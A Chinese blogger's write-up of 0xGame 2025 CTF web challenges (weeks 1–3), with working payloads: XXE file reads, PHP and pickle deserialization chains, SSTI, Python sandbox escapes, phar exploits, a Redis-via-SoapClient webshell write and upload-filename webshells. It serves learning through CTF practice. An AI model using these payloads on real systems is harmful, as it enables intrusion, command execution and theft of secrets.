0xGame2025-web

Web

菜鸡的week1-week3 web的wp(可能会有些错误:((

对Pure Stream师傅爱了爱了

Week 1

Lemon

提示查看源码,其禁用了右键和F12,

使用ctrl+U查看源码,或者使用浏览器三个横线处的更多工具打开源码

获取flag

留言板(粉)

登录界面,弹出invalid

查看源码发现不管输啥都会弹出Invaild username or password!

猜测是弱口令

开始爆破

根据其文件名xxxxmleee.php,浏览器标签xxe可能是xml注入,再输入1测试,发现报错信息DOMDocument::loadXML()

1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<name>&xxe;</name>
</root>

flag

revenge

没啥区别(题目说明修复了非预期,那么上面的应该就是预期解

RCE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
error_reporting(0);
highlight_file(__FILE__);
$rce1 = $_GET['rce1'];
$rce2 = $_POST['rce2'];
$real_code = $_POST['rce3'];

$pattern = '/(?:\d|[\$%&#@*]|system|cat|flag|ls|echo|nl|rev|more|grep|cd|cp|vi|passthru|shell|vim|sort|strings)/i';

function check(string $text): bool {
global $pattern;
return (bool) preg_match($pattern, $text);
}


if (isset($rce1) && isset($rce2)){
if(md5($rce1) === md5($rce2) && $rce1 !== $rce2){
if(!check($real_code)){
eval($real_code);
} else {
echo "Don't hack me ~";
}
} else {
echo "md5 do not match correctly";
}
}
else{
echo "Please provide both rce1 and rce2";
}

其需传递三个参数rce1,rce2,rce3,且代码中有eval函数应该是要用到这个函数

1
2
if (isset($rce1) && isset($rce2)){
if(md5($rce1) === md5($rce2) && $rce1 !== $rce2){

首先rce1,rce2要绕过md5的强类型比较(使用数组)

绕过成功,rce3其过滤了很多关键字/(?:\d|[\$%&#@*]|system|cat|flag|ls|echo|nl|rev|more|grep|cd|cp|vi|passthru|shell|vim|sort|strings)/i

其将大部分关键词都过滤了,且过滤了system函数,学了半天,找到内联函数

1
?><?=`ls`;

发现只有index.php文件,查询flag位置,其在/flag下

使用c\at /fla\g得到flag

HTTP原理

使用hackbar实现,修改url实现get传参

post传参

修改cookie

修改UA头

修改refer值

添加Via头,获取flag

Rubbish_Unser

打开发现是php反序列化的漏洞(好长

首先找到eval函数,这应该就是最终的利用点,复制到本地编译器,

分析其利用的逻辑(学了好久

1
2
逻辑:
ZZZ——>Mi()——>call()——>invoke() ——>get()

先是创建ZZZ其在销毁时会调用__destruct__destruct中echo输出$yuzuha,将yuzuha设置为对象的话就会调用toString方法,toString中tks()是未定义的方法会调用__call,call中return $Charlotte();将Charlotte定义为对象的话,其就是将对象作为函数使用会调用__invoke__invoke中if条件判断通过后的guanxing -> Elysia为未定义的属性会调用__get方法从而达到eval函数

写的时候是倒着来

1
2
3
4
5
6
7
8
9
10
$x=new HSR();//创建HSR类对象
$x->robin="phpinfo();";//__get(),将robin改为命令
$y=new HI3rd();//__invoke()
$y->guanxing=$x;
$z=new GI();//__call()
$z -> furina=$y;
$a=new Mi();//__toString
$a -> game=$z;
$b=new ZZZ($a);//__destruct
echo serialize($b);

哭了最后时间在本地测试通过,到题目环境时却没有回显,刷新界面时,发现到时间了,题目没了:(((

复现

复现时看了好久,发现wp与我就多了个$c=array($b,0),搜索了好久才懂,

是因为源码中在反序列话后有个throw new Exception("Rubbish_Unser")

正常我们的链子是利用ZZZ->__destruct方法,但在这里会突然抛出异常,使我们无法触发__destruct方法,所以要绕过这个——即提前触发__destruct方法

原理:

在PHP中,使用引用计数回收周期来自动管理内存对象的,当一个变量被设置为NULL,或者没有任何指针指向
时,它就会被变成垃圾,被GC机制自动回收掉
那么这里的话我们就可以理解为,当一个对象没有被引用时,就会被GC机制回收,在回收的过程中,它会自动触发_destruct方法,而这也就是我们绕过抛出异常的关键点

所以我们这里的话来试一下反序列化一个数组,然后写入第一个索引为对象,将第二个赋值为0,看一下能否触发,即下面payload中的$c=array($b,0);这步,打印下来如下

1
2
3
4
//原本的
a:2:{i:0;O:3:"ZZZ":1:{s:6:"yuzuha";O:2:"Mi":1:{s:4:"game";O:2:"GI":1:{s:6:"furina";O:5:"HI3rd":3:{s:9:"RaidenMei";s:1:"1";s:5:"kiana";i:1;s:8:"guanxing";O:3:"HSR":1:{s:5:"robin";s:14:"system('env');";}}}}}i:1;i:0;}//<-注意这里
//修改后的,修改点为i=1处的索引改为0
a:2:{i:0;O:3:"ZZZ":1:{s:6:"yuzuha";O:2:"Mi":1:{s:4:"game";O:2:"GI":1:{s:6:"furina";O:5:"HI3rd":3:{s:9:"RaidenMei";s:1:"1";s:5:"kiana";i:1;s:8:"guanxing";O:3:"HSR":1:{s:5:"robin";s:14:"system('env');";}}}}}i:0;i:0;}//<-修改的在这哦

再将这个序列化数据进行url编码,至于为何要url编码(好像是因为可能会有些特殊字符会截断数据?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//payload
$x=new HSR();//创建HSR类对象
$x->robin="system('env');";//__get(),将robin改为命令
$y=new HI3rd();//__invoke()
$y->guanxing=$x;
$z=new GI();//__call()
$z -> furina=$y;
$a=new Mi();//__toString
$a -> game=$z;
$b=new ZZZ($a);//__destruct
$c=array($b,0);

$d=serialize($c);
echo urlencode($d);
1
0xGame=a%3A2%3A%7Bi%3A0%3BO%3A3%3A%22ZZZ%22%3A1%3A%7Bs%3A6%3A%22yuzuha%22%3BO%3A2%3A%22Mi%22%3A1%3A%7Bs%3A4%3A%22game%22%3BO%3A2%3A%22GI%22%3A1%3A%7Bs%3A6%3A%22furina%22%3BO%3A5%3A%22HI3rd%22%3A3%3A%7Bs%3A9%3A%22RaidenMei%22%3Bs%3A1%3A%221%22%3Bs%3A5%3A%22kiana%22%3Bi%3A1%3Bs%3A8%3A%22guanxing%22%3BO%3A3%3A%22HSR%22%3A1%3A%7Bs%3A5%3A%22robin%22%3Bs%3A14%3A%22system%28%27env%27%29%3B%22%3B%7D%7D%7D%7D%7Di%3A0%3Bi%3A0%3B%7D

Week 2

你好,爪洼脚本

打开是一堆颜文字

根据题目提示替换

替换,为,

删除空格

粘贴后显示flag不对((

其实刚开始就感觉这段颜文字有问题,感觉像是一段代码,后搜索得知这是JavaScript 代码混淆技术

具体来说,它属于 AAEncode —— 一种将 JavaScript 代码编码为由颜文字(kaomoji)和特殊符号组成的“看似乱码”的形式

使用在线解码工具

解码后得到alert(“Hello, JavaScript”),再将,改为,包裹0xGame{}发现不行

试了好多遍,发现是0xGame{Hello,JavaScript}

复现

wwww

直接在浏览器控制台运行即可,再修改逗号和空格

DNS想要玩

直接查看源码,

一眼看到/ssrf的路由,再结合blacklist中的过滤(符合ssrf的过滤),刚开始以为是ssrf漏洞((

仔细看代码发现并不然,代码中仅仅有获取url和检测url是否在黑名单中的操作,但url并没有发送请求,再看代码发现return os.popen(request.args.get('cmd')).read(),最后利用点应该在这。

但其需要通过check(raw_url)的判断,才能到这步,而check()函数中需要 socket.gethostbyname(host_acscii) == ‘114.5.1.4’,即输入的url经过DNS解析后需等于114.5.1.4

使用在线的DNS重定向网站rbndr.us dns rebinding service

其有first IP(A)和Second IP(B),询问ai得知其——在 rbndr.us(DNS 重绑定服务)中,First IP 的作用是「绕过黑名单或初始安全检查」,而 Second IP 才是真正触发漏洞逻辑的目标 IP

在 rbndr.us 的实现中,第一次 DNS 查询返回 First IP,第二次立即返回 Second IP。主要用于复杂的DNS重定向

本题first IP可填8.8.8.8—任意公网

尝试构造payload:url=网站提供的&cmd=cat /flag

马哈鱼商店

注册一个账号,再登录

发现flag,果断购买

发现是假的flag(

抓包分析,发现其会传递pid和discount两个参数,再看vamos界面的源码,可知pid即为每个商品的编号,discount猜测是打折

将discount参数改为0.0001折,发送得到/shop_success

点击here

进入pickle_dsa

查看源代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Use GET To Send Your Loved Data!!!      
BlackList = [b'', b'']
@app.route('/pickle_dsa')
def pic():
data = request.args.get('data')
if not data:
return "Use GET To Send Your Loved Data"
try:
data = base64.b64decode(data)
except Exception:
return "Cao!!!"
for b in BlackList:
if b in data:
return "卡了"
p = pickle.loads(data)
print(p)
return f"<p>Vamos! {p}<p>

传了巨多次参数一直报错500(((((((((

问ai才知道利用点在pickle.loads(),这是python的反序列化漏洞

pickle是Python中一个能够序列化和反序列化对象的模块。和其他语言类似,Python也提供了序列化和反序列化这一功能,其中一个实现模块就是pickle。在Python中,“Pickling” 是将 Python 对象及其所拥有的层次结构转化为一个二进制字节流的过程,也就是我们常说的序列化,而 “unpickling” 是相反的操作,会将字节流转化回一个对象层次结构。

构造payload

传参后返回32512?

复现

前面都和我写的一样,就最后的pickle反序列化没搞出来

读取环境变量即可

1
2
3
4
5
6
7
8
import base64
opcode='''csubprocess
check_output
(S'env'
tR.'''.encode()

print(base64.b64enode(opcode).decode())

404NotFound

直接查看/flag,发现不行

根据题目提示SSTI漏洞,但没有发现参数,直接尝试/49

发现其回显/49,查看str类

发现其显示这个页面,应该是payload中一些东些被过滤了,

尝试拼接class绕过,结果一次就成了

于是将所有的关键词都用这种方式拼接,得到其所有子类

搜索os,发现可以利用的<class ‘os._wrap_close’>类,但这么多一个个数到这个类不太现实,突然发现每个类中间有一个逗号,xixi

从0开始,那么应该是[155],验证一下没有问题

接下来就是将payload拼接绕过,执行cat /flag

得到flag

Plus_plus

查看源代码

发现需使用传参?0xGame后得到

可以看出利用点在eval函数

思路:get传递随意参数0xGame,post传递web,web长度<=120且为字符串,并且web中不能有

1
2
3
!@#%^&*:'\-<?>\"\/|`a-zA-BD-GI-Z~\\\\

其过滤了!@#%^&*:'\-<?>\"\/|`特殊字符和所有小写字母,大写字母只有CH没被过滤,同时过滤了反斜线\

根据题目提示想着用自增

构造半天传入后发现返回NONONO,发现过滤了’和”,于是直接去掉引号,又太长了

于是从H重新开始构造,

没招了……还是tooooooo long,终究还是差一步吗(((

复现

当时只想着构造phpinfo();了,也不知道当时咋想的为何不换个函数构造呢(((

1
2
3
4
5
6
7
8
9
10
11
$_=[]._;//Array
$__=$_[1];//r
$_=$_[0];//A
$_++;
$_0=$_++;//C
$_++;$_++;$_++;$_++;
$_=$_0.++$_.$_1;
$_=_.$_(71).$_(69).$_(84);
$$_[1]($$_[2]);//_GET[1](_GET[2])
//即传递1(2),以此实现命令执行
//缩短至极致了

把换行的都去掉,然后进行一次URL编码,因为中间件会解码一次

  1. 学到了利用chr()构造,比我之前那个库库的无脑+确实缩短了很多
  2. 还有$_=[]._,比我的$_=''.[]确实短了一个字符?
  3. 还有一些赋值的如:$_0=$_++;,我之前用的$__++;$_0=$_

我只要你的PNG!

查看源码发现check.php

发现flag

访问后返回至上传界面

复现

上传文件后,查看check.php页面,其回显了文件名,但我当时只想到上传成功了,直接用蚁剑连接,没能成功

官方WP中,其是利用文件名写入一句话木马,上传一个正常的png图片,抓包修改文件名为<?php eval($_POST['1']); ?>1.png,再用antsword连接

这真的是反序列化

当时没写

复现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
 <?php
highlight_file(__FILE__);
error_reporting(0);

//hint: Redis20251206

class pure{
public $web;
public $misc;
public $crypto;
public $pwn;

public function __construct($web, $misc, $crypto, $pwn){
$this->web = $web;
$this->misc = $misc;
$this->crypto = $crypto;
$this->pwn = $pwn;
}

public function reverse(){
$this->pwn = new $this->web($this->misc, $this->crypto);
}

public function osint(){
$this->pwn->play_0xGame();
}

public function __destruct(){
$this->reverse();
$this->osint();
}
}

$AI = $_GET['ai'];

$ctf = unserialize($AI);

?>

发现其并没有魔术方法,又学到了新东西

代码中$this->pwn = new $this->web($this->misc, $this->crypto);使用了一个不存在的方法,其会调用__call(),利用soapclient类,触发他的__call()来实现反序列化漏洞,

1
2
3
4
5
6
7
8
<?php
$a=new pure();
$a->web=SoapClient;
$a->misc=NULL;
$target='http://xxx:6397';
$poc="AUTH 20251206\r\nCONFIG SET dir /var/www/html\r\nnCONFIG SET dbfilename shell.php\r\nSET x '<?= @eval(\$_POST[1]) ?>'\r\nSAVE";
$a->crypto=array('loaction'=>$target,'uri'=>"hello\"\r\n".$poc."\r\nhello");
echo urlencode(serialize($a));

其中$poc部分为redis的写入文件命令,AUTH 20251206是先执行 AUTH 命令验证密码

1
2
3
4
CONFIG SET dir /var/www/html\r\n
CONFIG SET dbfilename shell.php\r\n
SET webshell "<?= @eval(\$_POST[1]) ?>\r\n"\r\n
SAVE

Redis 会在 /var/www/html 下生成 shell.php,包含一句话木马

用蚁剑连接,再查看环境变量env即可得到flag(没复现成功(((

Week3

长夜月

register一个用户

不是管理员

注册admin,发现admin用户存在,于是想着弱口令爆破

爆破后发现一个都不对

后面再看时发现增加附件了,其check时仅仅判断token中的username并不会看password

需要修改token中username

先修改头部加密为none,将第一部分base64解码,修改后再base64编码替换原来的第一部分

修改成功

接下来再同样方法修改第二部分,将username改为admin

再将第一部分改为原来的

但是,仅仅修改token想通过login是不行的,其会验证密码,再看/login的源码,发现最终应该是要进入/admin_club1st,不是管理的话(直接访问)会进入/trailblazer

因此我尝试直接跳过login,利用伪造的token进入/admin_club1st(成功了)

发现merge函数,应该是原型链污染

所以要使用post传递一个污染的值

1
"__proto__":{"min_public_time":" 2025-08-02"}

0xGame{Back_to_Earth_in_Evernight}

消栈逃出沙箱(1)反正不会有2

上来就是一堆代码

先随便传个值看看

查看源码,再根据题目提示应该要绕过沙箱(没听过,搜索半天发现和ssti模板注入的利用方法好像,先不管了……

直接先看子类,发现返回No output

再看源代码

1
2
3
4
5
return output or error or "No output"
应该就是这个,应该让data有输出,所以借用print()
构造新的payload
data=print(''.__class__.__mro__[1].__subclasses__())
//实话说我也猜的这样写能行:)

查找含有os模块的

从0开始,索引是155

检查一下,没有问题

利用其执行命令

刚开始尝试data=print(''.__class__.__mro__[1].__subclasses__()[155].__init__.__globals__['system']('ls')),仅仅返回0,

记忆中好像有个read()可以输出结果的,刚开始修改后面的为…['os'].popen('id').read(),返回Error:’os’(((不知道为什么不给用

哦哦哦哦哦,哦哦哦哦哦

hhhh,懂了学到了

os._wrap_closeos 模块里定义的一个类,所以它的 __init__ 方法的 __globals__ 就是 os 模块的全局命名空间,所以这个字典里直接包含了 popensystemsep 等函数和变量,所以不需要写[‘os’]来调用os模块,而是直接调用其中的函数如:[‘popen’]、[‘system’]……,沾一张图

换成了globals中的popen

但是新的问题又来了,/被过滤了,而且ls也没看到flag在哪(((((((

把所有的文件夹都看了还是没找到((((((

hhhh问了ai常见的flag地址,才知道还可能在环境变量中:)))

0xGame{StackFrame_Wanna_Escape_Now}

复现

看了wp发现好像和我写的有很大区别啊,我写的竟然还是个非预期解hhhh

purestream爱了爱了,同时得知lamentxu师傅才高三,tql,orz

预期解:

常规的逃逸

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests
import os
url='http://9000-ac04c17e-e294-4cc7-a9fc-8d0bb4b1488e.challenge.ctfplus.cn/check'
payload='''
def gen():
yield
g=gen()
frame=next(g).gi_frame
builtins=frame.f_back.f_globals['__builtins__']
output=builtins.__import__('os').popen('env').read()
'''


res = requests.post(url, data={"data": payload})

print(res.text)
1
safe_globals = {"__builtins__": whitelist}

但是题中过滤了next,仅可以使用whitelist中函数print,list,len,Exception

所有这题使用Exception的异常栈帧逃逸

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests

payload = '''
try:
int('')
except Exception as e:
frame = e.__traceback__.tb_frame.f_back.f_back
builtins = frame.f_globals['__builtins__']
output = builtins.__import__('os').popen('env').read()
print(output)
'''

url = "http://9000-ac04c17e-e294-4cc7-a9fc-8d0bb4b1488e.challenge.ctfplus.cn/check"

res = requests.post(url, data={"data": payload})

print(res.text)

int(''):主动触发异常,这里因为”/“在黑名单中,所以不能用”1/0”

e.__traceback__:获取异常的 traceback 对象(记录异常发生时的调用栈)

e.__traceback__:获取异常的 traceback 对象(记录异常发生时的调用栈)

文件查询器(蓝)

又学到了:))

hhhhh,输入upload.php,得到一长串base64,解码得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
upload.php

<?php
error_reporting(0);
$White_List = array("jpg", "png", "pdf");
$temp = explode(".", $_FILES["file"]["name"]);
$extension = end($temp);
if (($_FILES["file"]["size"] && in_array($extension, $White_List)))
{
$content=file_get_contents($_FILES["file"]["tmp_name"]);
$pos = strpos($content, "__HALT_COMPILER();");
if(gettype($pos)==="integer")
{
die("你猜我想让你干什么喵");
}
else
{
if (file_exists("./upload/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " Already exists. ";
}
else
{
$file = fopen("./upload/".$_FILES["file"]["name"], "w");
fwrite($file, $content);
fclose($file);
echo "Success ./upload/".$_FILES["file"]["name"];
}
}
}
else
{
echo "请重新尝试喵";
}
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
index.php

<?php
error_reporting(0);
class MaHaYu{
public $HG2;
public $ToT;
public $FM2tM;
public function __construct()
{
$this -> ZombiegalKawaii();
}

public function ZombiegalKawaii()
{
$HG2 = $this -> HG2;
if(preg_match("/system|print|readfile|get|assert|passthru|nl|flag|ls|scandir|check|cat|tac|echo|eval|rev|report|dir/i",$HG2))
{
die("这这这你也该绕过去了吧");
}
else{
$this -> ToT = "这其实是来占位的";

}
}

public function __destruct()
{
$HG2 = $this -> HG2;
$FM2tM = $this -> FM2tM;
echo "Wow";
var_dump($HG2($FM2tM));
}
}

$file=$_POST['file'];
if(isset($_POST['file']))
{
if (preg_match("/'[\$%&#@*]|flag|file|base64|go|git|login|dict|base|echo|content|read|convert|filter|date|plain|text|;|<|>/i", $file))
{
die("对方撤回了一个请求,并企图萌混过关");
}
echo base64_encode(file_get_contents($file));
}

应该是利用file_get_contents的phar反序列化,再根据上面upload.php和index.php的代码可知,

  1. 文件后缀名应该为”jpg”, “png”, “pdf”
  2. 文章内容中不能有__HALT_COMPILER();
  3. 且HG2不能为/system|print|readfile|get|assert|passthru|nl|flag|ls|scandir|check|cat|tac|echo|eval|rev|report|dir这些函数
  4. 且文件名不能为/‘[$%&#@*]|flag|file|base64|go|git|login|dict|base|echo|content|read|convert|filter|date|plain|text|;|<|>

构造phar反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//一、
//创建php文件
<?php
class MaHaYu {
public $HG2='exec';
public $FM2tM="'env'";//这里下面的截图是成功之前的一些尝试,这个是正确的
}
$phar = new Phar('phar.phar');
$phar -> startBuffering();
$phar -> setStub('<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$object = new MaHaYu();
$phar -> setMetadata($object);
$phar->compress(Phar::GZ);
$phar -> stopBuffering();
//利用gzip压缩绕过其对__HALT_COMPILER();的过滤

首先要将php.ini中的phar.readonly=0或者是off,否则无法生成phar文件

下面的命令是ai教我的,即仅这个操作将其设置为0,不影响以后的

注:

此处会直接生成phar.phar和phar.phar.gz两个文件,因为我们的php文件中添加了一句$phar->compress(Phar::GZ);

有些文章是没有这句的,那么就要再执行一行命令,将其压缩gzip phar.phar就会生成phar.phar.gz

在上传时,抓包修改文件后缀名为png绕过过滤

然后放包,可以看到上传成功的字样

然后利用下面的查询文件,但是并不是直接输入phar.phar.png,而是要加上phar://来查询

PHP 通过 phar:// 流 wrapper 读取 Phar 文件时,会自动解析 metadata 并反序列

传入后即为file_get_contents(“phar://upload/phar.phar.png”);

咋没有flag,可能是flag不在/flag这个位置

重新传个ls,但是只有upload.php

果然又在环境变量中:))))

0xGame{Y0u_Are_Rea11y_a_Ph4r_G0d!}

放开我的变量

没做出来

复现

查看robots.txt

1
asdback.php

wp中说有非法变量名,好像没有吧?

直接传个后门文件,连接蚁剑,在根目录发现flag,但是打开是空的

使用命令读取,发现没有权限

ps -aux查看进程

发现star.sh在执行,打开

代码解释:

1
2
3
4
5
6
7
8
9
10
11
#!/bin/bash
cd /var/www/html/primary #进入这个目录
while : #永真条件
do
cp -P * /var/www/html/marstream/ #使用cp命令的 -p 将/var/www/html/marstream/下使用*通配符来匹配文件并复制
chmod 755 -R /var/www/html/marstream/ #并将权限改为755——可读可执行
sleep 5s #每5秒复制一遍

done &

exec apache2-foreground

通配符提权,使用通配符打包时,如果文件名和命令的参数相同时 会导致其作为函数参数,执行相应的命令

payload

1
2
3
4
cd primary
touch -- -H //echo "" > -H
ln -s /flag ff
cat /var/www/html/marstream/ff

解释:

touch – -H //echo “” > -H 创建名为-H的文件

ln -s /flag ff 创建短链接将根目录的/flag与ff文件相连

cat /var/www/html/marstream/ff 查看

其中-H参数可以通过短链接复制链接所指向的文件

这真的是文件上传

复现

Week4

本人太菜了……w4对于我来说简直是天书


0xGame2025-web
https://h0yu1.github.io/2025/11/20/0xGame2025/
作者
H0yu1
发布于
2025年11月20日
许可协议